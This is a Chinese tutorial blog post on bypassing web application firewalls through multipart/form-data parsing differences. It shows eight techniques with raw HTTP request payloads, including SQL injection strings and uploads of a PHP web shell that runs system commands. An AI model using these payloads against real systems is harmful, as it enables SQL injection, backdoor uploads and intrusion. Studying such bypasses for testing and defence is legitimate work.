首页 > 其他分享 >一直绕waf一直爽!利用 multipart/form-data 解析差异绕 WAF!!(全网最详细)

一直绕waf一直爽!利用 multipart/form-data 解析差异绕 WAF!!(全网最详细)

时间:2025-01-23 13:28:35浏览次数:3  
标签:form -- waf xxx Content multipart data

、大家好,我是Dest1ny!

今天是介绍利用 multipart/form-data 解析差异绕 WAF!

文中共介绍了八种绕过方法,基于对应的特征。

1.multipart/form-data 结合参数污染
2.multipart/form-data 参数覆盖
3.multipart/form-data 文件名覆盖
4.multipart/form-data Content-Disposition 参数覆盖
5.multipart/form-data HTTP请求 CRLF序列破坏
6.multipart/form-data 字符串包裹符号破坏
7.multipart/form-data 结束字段破坏
8.multipart/form-data filename*=utf-8’’ 字段文件名绕过

CLASS-1 Multipart/form-data 结合参数污染

在绕过方法1中,假设了这样的场景:

WAF对POST的数据进行了相关校验,可以利用 multipart/form-data 结合参数污染的方式进行相关绕过

POST /Demo1 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="username";

admin' or 1=1-- &username=admin&abc
--xxx--

这是一种结合 HTTP 参数污染multipart/form-data 数据格式的 WAF 绕过技巧:

  1. 利用参数污染

    • 提供多个 username 值,让 WAF 检测的值和后端实际使用的值不同。
  2. 利用 multipart/form-data

    • 这种格式复杂,WAF 检测可能不完全。
    • 攻击者将恶意负载混入字段中,让其通过 WAF 检测。
  3. 潜在结果

    • 如果后端未正确处理用户输入,恶意的 SQL 注入可能被执行,导致敏感数据泄露或其他安全问题。

CLASS-2 Multipart/form-data 参数覆盖

在绕过方法2中,假设了这样的场景:

WAF与后端具有不同解析器,在对 multipart/form-data 参数的解析顺序上存在差异

基于规范而言,规范只是要求了需要一个name参数,但是当多个name同时出现时,可能会存在一些问题

POST /Demo2 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="username"; name="email";

admin' or 1=1-- 
--xxx--

CALSS-3 Multipart/form-data 文件名覆盖

在绕过方法3中,假设了这样的场景:

WAF与后端具有不同解析器,在对 multipart/form-data 文件名的解析方式上存在差异

对于每个Content-Disposition标头,应该只存在一个文件名参数。但当如果同一个内容中放更多的文件名,也许会存在差异。

CALSS-4 multipart/form-data Content-Disposition 参数覆盖

在绕过方法4中,我们假设的场景是WAF(Web应用防火墙)与后端解析器之间的差异,特别是在解析 Content-Disposition 头部时的行为不同。这种差异可以导致绕过机制的产生,使得攻击者能够上传恶意文件。

背景:Content-Disposition 头部解析

Content-Dispositionmultipart/form-data 编码格式中定义文件上传和字段内容的一部分,常见格式如下:

POST /Demo4 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="file"; filename="a.txt"; 
Content-Disposition: form-data; name="file"; filename="backdoor.php"; 

<?php system("id"); ?>
--xxx--

CLASS-5 multipart/form-data HTTP请求 CRLF序列破坏

在绕过方法5中,假设了这样的场景:

WAF与后端对流量解析方式存在问题,在CRLF异常的情况下存在解析差异

正常来说,HTTP数据包中区分每一行的方式为,每行末尾的 \r\n 两个换行符号,它们又被称为CRLF符号.当你发送数据包时,实际流量可能是(为了可读性,故不删除换行,仅以字符显示代替)

POST /Demo5 HTTP/1.1\r\n
Content-Type: multipart/form-data; boundary=xxx\r\n
\r\n
--xxx\r\n
Content-Disposition: form-data; name="file"; filename="a.txt";\r\n
Content-Type: text/text\r\n
\r\n
hello\r\n
--xxx--\r\n

当我们在 Content-Type: text/text\r\n 中略施手脚,删除 \r 时(新版Burp可以做到),可能会存在一些解析差异

CLASS-6 multipart/form-data 字符串包裹符号破坏

WAF与后端对 Content-Disposition 解析方式存在问题,在缺失了双引号情况下,存在解析差异

在标准 multipart/form-data 请求中,参数名通常用双引号括起来。例:

Content-Disposition: form-data; name=”file”; filename=”a.txt”;
Content-Disposition: form-data; name=”username”;

如果删除双引号,或者使用单引号

POST /Demo6 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="file"; filename=a.txt;

hello
--xxx--

CLASS-7 multipart/form-data 结束字段破坏

WAF与后端对消息体结构宽容度存在问题,在缺失了闭合字段情况下,存在解析差异

正常来说,消息体应为以 boundary 中所约定的字符 加上 – 进行结尾,例如 boundary=xxx 则 –xxx– 进行结尾。可以删除这一字段(至少PHP能接受这样),例:

POST /Demo7 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="file"; filename="a.txt"; 

hello

CLASS-8  multipart/form-data filename*=utf-8’’ 字段文件名绕过

在绕过方法8中,假设了这样的场景

WAF与后端对filename*参数解析存在解析差异

Content-Disposition参数中存在一个特殊的文件名声明 filename* 格式如下

filename*=UTF-8’’Fabrizio_Deandr%C3%A9.pdf

利用此特殊的声明差异

POST /Demo8 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="file"; filename*=UTF-8''Fabrizio_Deandr%C3%A9.php;

<?php system("id"); ?>
--xxx--

 

标签:form,--,waf,xxx,Content,multipart,data
From: https://blog.csdn.net/m0_70065235/article/details/145321546

相关文章

  • DateTimeFormatter预定义格式
    DateTimeFormatter内部已经定义了一些日期时间格式化,如果没有特殊需求可以考虑使用这些.FormatterExampleBASIC_ISO_DATE‘20181203’ISO_LOCAL_DATE‘2018-12-03’ISO_OFFSET_DATE‘2018-12-03+01:00’ISO_DATE‘2018-12-03+01:00’;‘2018-12-03’......
  • 记忆层增强的 Transformer 架构:通过可训练键值存储提升 LLM 性能的创新方法
    大语言模型(LLM)通过其参数储存了大量信息,这些信息主要以密集层中线性矩阵变换的权重形式存在。然而,参数规模的扩大必然导致计算成本和能源消耗的显著增加。这种参数存储方式是否可以通过更高效的键值查找机制来优化?尽管此前已有多项相关研究,但在当前AI架构规模下的实践尚属首次......
  • Gradio + Transformers** 实现带记忆功能的对话系统完整代码示例
    以下是一个使用Gradio+Transformers实现带记忆功能的对话系统完整代码示例,无需额外数据库依赖:importgradioasgrimportnumpyasnpfromtransformersimportAutoTokenizer,AutoModelfromtypingimportDict,List,Tuple#-----------------初始化模型---......
  • high performance object storage | MinIO vs. Ceph
    -[MinIO|Codeanddownloadstocreatehighperformanceobjectstorage](https://min.io/download)-[Ceph.io—Code](https://ceph.io/en/developers/code/)-[Indexof/tarballs/](https://download.ceph.com/tarballs/)-[GitHub-ceph/ceph:Cephisadistribut......
  • Transformer 学习与解读
    LLM学习笔记注意力机制sequencetosequence(seq2seq)输入N个向量,输出任意可能数量的向量(由机器决定);如果输出N个向量的任务就叫做SequenceLabeling李沐课程讲义:https://zh-v2.d2l.ai/chapter_attention-mechanisms/self-attention-and-positional-encoding.html在注意力机制......
  • 文档图像矫正任务的前沿进展:引入Transformer框架、极坐标的思路
    在《文档数字化采集与智能处理:图像弯曲矫正技术概述》一文中,我们介绍了文档图像矫正技术的发展沿革与代表性方案。随着文档智能处理的需求逐步升级,文档图像去畸变技术也在不断探索新的可能性。今天,我们将讨论近年来文档图像矫正任务的前沿进展,分享一些我们正在关注的方向,欢迎与我......
  • 界面控件 DevExpress WinForms v24.2 新版亮点:正式支持.NET 9
    DevExpressWinForms拥有180+组件和UI库,能为WindowsForms平台创建具有影响力的业务解决方案。DevExpressWinForms能完美构建流畅、美观且易于使用的应用程序,无论是Office风格的界面,还是分析处理大批量的业务数据,它都能轻松胜任!DevExpressWinForms控件v24.2日前已经全新发布,新......
  • HPC[High Performance Computing ] Cluster: Linux(Slurm)vs. Windows HPC Server{renam
    -[slurmhpcclusterinstallation-Search](https://cn.bing.com/search?go=Search&q=slurm+hpc+cluster+installation&qs=n&form=QBRE&sp=-1&lq=0&pq=slurm+hpc+cluster+installation&sc=5-30&sk=&cvid=C4BA3EFE837244CB89D4D49D6DFA......
  • 一镜到底,通过Llama大模型架构图看透transformers原理
    一镜到底,通过Llama大模型架构图看透transformers原理LlamaNutsandBolts是Github上使用Go语言从零重写Llama3.18B-Instruct模型推理过程(80亿参数规模)的实战类开源项目,其作者是来自土耳其的AdilAlperDALKIRAN。如果你对于LLM(大语言模型)和Transformers的工作原理感兴趣,并......
  • OpenCL performance on intel i5-11400 by Clpeak
    Platform:NVIDIACUDADevice:NVIDIAGeForceRTX4090Driverversion:550.127.05(Linuxx64)Computeunits:128Clockfrequency:2520MHzGlobalmemorybandwidth(GBPS)float:873.20float2:901.24float4:917.89float8:928.70f......